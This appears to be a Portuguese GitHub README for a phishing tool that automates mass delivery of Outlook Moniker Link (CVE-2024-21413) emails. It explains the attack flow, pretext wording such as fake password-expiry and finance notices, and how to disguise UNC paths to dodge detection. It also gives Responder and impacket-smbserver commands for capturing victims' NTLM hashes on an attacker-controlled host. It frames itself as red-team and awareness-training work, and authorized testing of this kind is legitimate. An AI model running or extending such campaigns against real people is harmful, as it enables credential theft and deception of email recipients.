BLIND TRUST - Framework de Engajamento de Phishing Moniker Link

Uma ferramenta de pesquisa em segurança para simular campanhas de phishing direcionadas usando a vulnerabilidade CVE-2024-21413 Moniker Link. Projetada para operações de red team autorizadas, testes de penetração e treinamento de conscientização em segurança.

Visão Geral

O BLIND TRUST é um framework de engajamento de phishing que ajuda equipes de segurança a entender e testar suas defesas contra ataques sofisticados baseados em e-mail. Ele aproveita a técnica Moniker Link para contornar o Modo de Exibição Protegida do Outlook, proporcionando uma simulação de ataque realista que as organizações podem usar para fortalecer sua postura de segurança.

Esta ferramenta automatiza o fluxo de trabalho de campanha de ponta a ponta — da configuração à entrega de e-mail — mantendo a segurança operacional por meio de caminhos UNC personalizáveis e opções flexíveis de pretexto.

Propósito

As organizações precisam entender técnicas de ataque reais para se defenderem de forma eficaz. O TRUST permite:

• Operações de red team - Conduzir campanhas de phishing autorizadas como parte de avaliações de segurança
• Treinamento de conscientização em segurança - Demonstrar vetores de ataque do mundo real aos funcionários
• Validação de vulnerabilidades - Testar capacidades de detecção contra técnicas conhecidas
• Pesquisa de defesa - Entender o comportamento do Moniker Link em seu ambiente

Recursos

• Campanhas multi-alvo - Enviar e-mails de phishing para vários alvos com uma única configuração
• Carregamento flexível de alvos - Carregar alvos via entrada interativa ou arquivos .txt no estilo wordlist
• Pretexto personalizável - Controlar assunto do e-mail, nome de exibição do remetente e texto do corpo
• Caminhos UNC discretos - Personalizar o caminho Moniker Link para parecer realista (domínio, nome do compartilhamento, nome do exploit)
• Autenticação SMTP - Suporte para vários servidores SMTP com negociação TLS
• Lógica de nova tentativa automática - Backoff exponencial para falhas transitórias de SMTP
• Relatórios de campanha - Status de entrega por alvo com resultados agregados
• Sem assinaturas codificadas - Elimine indicadores óbvios que exponham a técnica

Instalação

Requisitos

• Python 3.7+
• Apenas biblioteca padrão (sem dependências externas)

Configuração

# Clone o repositório
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Execute a ferramenta
python3 TRUST_v7.py

Requisitos

A ferramenta usa apenas módulos da biblioteca padrão do Python:

getpass      - Entrada segura de senha
html         - Escape HTML
ipaddress    - Validação de endereço IP
logging      - Registro estruturado de logs
os           - Operações de arquivo
re           - Expressões regulares
signal       - Tratamento de sinais
smtplib      - Protocolo de e-mail SMTP
sys          - Utilitários do sistema
time         - Operações de tempo
dataclasses  - Modelagem de configuração
email        - Construção de e-mail MIME
typing       - Dicas de tipo

Nenhum pacote externo é necessário — funciona em qualquer lugar com Python 3.7+.

Início Rápido

python3 TRUST_v7.py

Siga o assistente interativo por 5 etapas:

1. Credenciais do Atacante - Conta SMTP para envio de e-mails
2. Configuração do Listener SMB - Endereço IP onde os alvos se conectarão
3. Configuração de Alvos - Carregar vítimas a partir de entrada ou arquivo wordlist
4. Personalização do E-mail - Assunto, nome do remetente e texto do corpo
5. Personalização do Payload - Host do caminho UNC, compartilhamento e nomes do exploit

Exemplos de Uso

Exemplo 1: Entrada Interativa (Pequena Campanha)

Carregar alvos de [f]ile ou [i]nput diretamente?: i
Endereço(s) de e-mail do alvo: [email protected], [email protected]

Assunto do e-mail [Security Update Required]: Urgente: Aviso de Expiração de Senha
Nome de exibição (campo De) [Microsoft Security Center]: Equipe de Segurança de TI
Texto do corpo do e-mail: Sua senha expira em 24 horas. Atualize imediatamente.

Host UNC (IP ou domínio) [192.168.1.100]: it-internal.company.com
Nome do compartilhamento UNC [updates]: patches
Nome do exploit UNC [patch]: kb_security_2024

Exemplo 2: Carregamento por Wordlist (Grande Campanha)

Crie targets.txt:

# Departamento Financeiro
[email protected]
[email protected]
[email protected]

# Contabilidade
[email protected]
[email protected]

Depois execute:

Carregar alvos de [f]ile ou [i]nput diretamente?: f
Caminho para o arquivo de alvos: targets.txt
[+] 5 alvo(s) carregado(s) de targets.txt

Exemplo 3: Pretexto Financeiro Realista

Assunto do e-mail: Revisão Financeira do 3º Trimestre - Ação Necessária
Nome de exibição: Equipe de Operações Financeiras
Corpo do e-mail: Por favor, revise a demonstração financeira do 3º trimestre em anexo e forneça a aprovação.

Host UNC: finance-internal.company.com
Compartilhamento UNC: quarterly
Exploit UNC: q3_financial_report

Caminho UNC gerado: file://finance-internal.company.com/quarterly!q3_financial_report

Configuração Explicada

ETAPA 1: Credenciais do Atacante

• E-mail do atacante: O endereço de e-mail usado para enviar e-mails de phishing (normalmente uma conta comprometida ou falsificada)
• Senha SMTP: Credencial de autenticação para o servidor de e-mail

ETAPA 2: Listener SMB

• IP do listener SMB: O endereço IP onde seu listener SMB (ex.: Responder, impacket-smbserver) está em execução. Os alvos tentarão se conectar aqui quando clicarem no Moniker Link.

ETAPA 3: Configuração de Alvos

Duas opções:

• Entrada interativa: Cole os e-mails diretamente (separados por vírgula ou nova linha)
• Arquivo wordlist: Carregue de um arquivo .txt com um e-mail por linha, comentários começando com #

ETAPA 4: Personalização do E-mail

• Assunto: Linha de assunto do e-mail (evite referências a CVEs; mantenha-o profissional)
• Nome de exibição do remetente: O nome amigável mostrado no cabeçalho do e-mail
• Corpo do e-mail: O texto do pretexto explicando por que os alvos devem clicar no link

ETAPA 5: Personalização do Payload

É aqui que você evita assinaturas óbvias:

• Host UNC: Use um domínio ou subdomínio realista (ex.: finance-internal.company.com) em vez de apenas um IP
• Compartilhamento UNC: Nome de compartilhamento realista como quarterly, updates, documents
• Exploit UNC: Nome de arquivo realista como q3_report, security_patch, training_document

Resultado: Em vez do óbvio \\192.168.1.100\share!exploit, você obtém algo como file://finance-internal.company.com/quarterly!q3_report.

Fluxo de Execução

Início
  ↓
[ETAPA 1] Solicitar e-mail do atacante e senha SMTP
  ↓
[ETAPA 2] Solicitar IP do listener SMB
  ↓
[ETAPA 3] Carregar e-mails dos alvos (arquivo ou entrada)
  ↓
     ↓→ Para cada alvo:
     │  - Validar formato do e-mail
     │  - Verificar duplicatas
     │
[ETAPA 4] Solicitar pretexto do e-mail
     │  - Assunto, nome do remetente, texto do corpo
     │
[ETAPA 5] Solicitar personalização do caminho UNC
     │  - Host, compartilhamento, nome do exploit
     │
  ↓
[CONSTRUIR] Construir objeto de configuração
  ↓
[VALIDAR] Verificar se todos os campos estão presentes e válidos
  ↓
[RESUMO] Exibir resumo pré-envio para revisão
  ↓
[CONFIRMAR] Usuário aprova ou cancela
  ↓
[ENVIAR] Para cada alvo:
     │  - Construir e-mail MIME com Moniker Link personalizado
     │  - Tentar entrega SMTP com lógica de nova tentativa
     │  - Registrar sucesso/falha por alvo
     │
  ↓
[RELATÓRIO] Exibir resultados da campanha (entregues vs. falhas)
  ↓
Sair

Como Funciona

A Vulnerabilidade

CVE-2024-21413 (Moniker Link) é uma vulnerabilidade do Outlook que permite incorporar URLs file:// com um caractere !. Quando um usuário clica nesse link, o Outlook tenta acessar o caminho UNC, acionando uma tentativa de autenticação NTLM mesmo no Modo de Exibição Protegida.

Fluxo do Ataque

1. O usuário recebe um e-mail com um Moniker Link
2. O e-mail parece legítimo (graças ao seu pretexto personalizado)
3. O usuário clica no link
4. O Outlook tenta acessar \\host\share!exploit
5. O caractere ! contorna o Modo de Exibição Protegida
6. O sistema do usuário autentica no seu listener SMB
7. Você captura o hash NTLM ou informações de credenciais

O Que Esta Ferramenta Faz

O TRUST automatiza a fase de entrega:

• Cria e-mails realistas com pretexto personalizado
• Injeta o Moniker Link no payload HTML
• Gerencia conexões SMTP e novas tentativas
• Lida com vários alvos de forma eficiente
• Fornece relatórios de campanha

Solução de Problemas

Problema: "Falha na tentativa 3 de SMTP: [SMTP: 535]"

Solução: Verifique as credenciais SMTP. Para Gmail, use uma senha de app. Para e-mail corporativo, fale com o administrador de SMTP.

Problema: "TLS não suportado. Prosseguindo sem criptografia."

Solução: Normal para alguns servidores SMTP. A conexão prosseguirá sem criptografia TLS.

Problema: "E-mail inválido: victim@"

Solução: Garanta que os e-mails nos arquivos wordlist estejam completos e em formato válido ([email protected]).

Problema: "Destinatário rejeitado"

Solução: O endereço de e-mail não existe no servidor de destino, ou o servidor está bloqueando relay da sua conta.

Problema: "Arquivo não encontrado: targets.txt"

Solução: Verifique se o caminho do arquivo está correto e se o arquivo existe no seu diretório atual.

Perguntas Frequentes

P: Esta ferramenta é legal de usar? A: Somente com autorização escrita explícita da organização que você está testando. Phishing não autorizado é ilegal. Sempre tenha um escopo de trabalho e regras de engajamento por escrito.

P: Isso pode contornar filtros de e-mail avançados? A: É uma simulação realista, mas a segurança de e-mail moderna ainda pode detectá-la. Esse é o objetivo — se os filtros da sua organização falharem contra isso, você tem um problema a resolver.

P: Por que personalizar o caminho UNC? A: O \\IP\share!exploit original é um indicador evidente. Atacantes reais usam caminhos realistas. Sua equipe de segurança deve detectar tanto indicadores óbvios quanto sutis.

P: Posso usar isso para treinar funcionários? A: Sim. Após testes autorizados, use exemplos de campanha sanitizados no treinamento de conscientização em segurança para mostrar aos funcionários técnicas de ataque reais.

P: Isso captura credenciais? A: Não. O TRUST apenas entrega o e-mail. Você precisa de um listener SMB separado (Responder, impacket-smbserver etc.) para capturar hashes NTLM quando os alvos clicam no link.

P: Como configuro um listener SMB? A: Use o Responder no Linux ou o impacket-smbserver:

# Responder (captura hashes)
sudo responder -i eth0 -v

# impacket-smbserver (simulação de servidor de arquivos)
impacket-smbserver Share /tmp -smb2support

Limitações

• Sem captura de credenciais integrada: Você fornece o listener SMB; o TRUST apenas entrega e-mails
• Sem persistência de campanha: Os resultados são impressos no console; redirecione o stdout para salvar
• Sem inteligência de alvos: Você deve obter os endereços de e-mail dos alvos por conta própria
• Sem ofuscação de e-mail: Embora os caminhos UNC sejam personalizáveis, os cabeçalhos de e-mail são SMTP padrão
• Sem multithreading: Os e-mails são enviados sequencialmente para maior confiabilidade

Aviso Legal

Esta ferramenta é apenas para testes de segurança autorizados.

• Você deve ter permissão escrita explícita para conduzir campanhas de phishing
• O uso não autorizado é ilegal e antiético
• Use apenas em ambientes controlados contra sistemas que você possui ou tem permissão para testar
• Sempre siga as leis e regulamentações aplicáveis
• Os autores não se responsabilizam por uso indevido ou danos causados por esta ferramenta

Ao usar o TRUST, você reconhece que entende as implicações legais e possui autorização adequada.

Recomendações para Uso Responsável

1. Obtenha autorização por escrito - Obtenha regras de engajamento assinadas antes de qualquer campanha
2. Defina o escopo dos seus alvos - Defina quais sistemas e pessoas estão no escopo
3. Planeje a remediação - Tenha um plano de treinamento pronto para funcionários vítimas de phishing
4. Documente os resultados - Mantenha registros detalhados da avaliação
5. Reporte as descobertas - Forneça feedback às partes interessadas sobre o que foi eficaz
6. Respeite a privacidade - Não use dados capturados fora do programa de segurança

Melhorias Futuras

• Persistência de campanha e registro em arquivo
• Sistema de modelos para pretexto de e-mail
• Integração com LDAP para enumeração de alvos
• Renderização de modelos HTML para e-mails mais sofisticados
• Agendamento de campanhas (entrega baseada em tempo)
• Painel de relatórios com métricas e análises
• Suporte a outras técnicas de phishing além do Moniker Link

Licença

Este projeto é lançado sob a Licença MIT com a adição de uma restrição de uso. Consulte LICENSE para detalhes.

Créditos e Atribuição

Este projeto é baseado e inspirado na pesquisa e implementação originais do CVE-2024-21413 por CMNatic (https://github.com/cmnatic).

O CMNatic merece crédito total por:

• Pesquisa original da vulnerabilidade e prova de conceito
• Implementação técnica principal
• Documentação pública inicial

Este repositório representa uma versão modificada e estendida desse trabalho, com melhorias incluindo:

• Suporte a campanhas multi-alvo
• Pretexto de e-mail personalizável
• Personalização de caminho UNC discreto
• Carregamento de alvos baseado em wordlist
• Melhor tratamento de SMTP e lógica de novas tentativas
• Documentação abrangente

Consulte CREDITS.md para atribuição mais detalhada.

Autor

H1SS - Estendeu e manteve esta versão para pesquisa em segurança e testes autorizados.

Contribuindo

Contribuições são bem-vindas. Por favor, garanta que quaisquer mudanças:

• Mantenham o foco educacional da ferramenta
• Incluam documentação apropriada
• Sigam práticas de divulgação responsável
• Não introduzam dependências externas

Consulte CONTRIBUTING.md para diretrizes.

Suporte

Para problemas, dúvidas ou sugestões, abra uma issue no GitHub.

Lembre-se: Esta ferramenta é um projeto de pesquisa. Use-a de forma responsável, legal e ética.